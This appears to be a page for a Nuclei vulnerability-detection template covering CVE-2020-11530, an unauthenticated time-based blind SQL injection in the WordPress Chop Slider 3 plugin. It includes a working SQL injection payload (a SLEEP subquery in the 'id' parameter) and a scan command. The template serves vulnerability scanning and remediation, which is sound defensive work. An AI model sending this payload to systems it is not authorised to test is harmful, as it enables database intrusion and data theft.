WordPress Chop Slider 3 - Blind SQL Injection

ID: CVE-2020-11530

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2020,wpscan,seclists,sqli,wordpress,wp-plugin,wp,chopslider,unauth,idangero

Description

WordPress Chop Slider 3 plugin contains a blind SQL injection vulnerability via the id GET parameter supplied to get_script/index.php. The plugin can allow an attacker to execute arbitrary SQL queries in the context of the WP database user, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2020-11530

info:
  name: WordPress Chop Slider 3 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Chop Slider 3 plugin contains a blind SQL injection vulnerability via the id GET parameter supplied to get_script/index.php. The plugin can allow an attacker to execute arbitrary SQL queries in the context of the WP database user, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Update to the latest version of the WordPress Chop Slider 3 plugin to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f10cd7d7-6a31-48e5-994c-b100c846001a
    - https://github.com/idangerous/plugins/tree/master/Chop%20Slider%203/Chop%20Slider%203%20Wordpress
    - https://idangero.us/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11530
    - http://seclists.org/fulldisclosure/2020/May/26
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11530
    cwe-id: CWE-89
    epss-score: 0.83664
    epss-percentile: 0.98459
    cpe: cpe:2.3:a:idangero:chop_slider:3.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: idangero
    product: chop_slider
    framework: wordpress
  tags: time-based-sqli,cve,cve2020,wpscan,seclists,sqli,wordpress,wp-plugin,wp,chopslider,unauth,idangero

http:
  - raw:
      - |
        @timeout 10s
        GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/javascript")'
          - 'contains(body, "$(document).ready(function()")'
        condition: and
# digest: 4a0a00473045022100810988991e8d389627fbb69ec34a40a7195bf4fd3df95fed3ec0b99c727c368e02203d50aee22aea14bc2ec7b6b22c199a2d571640729ab7804df42210dbe5e4c301:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11530.yaml"

View on Github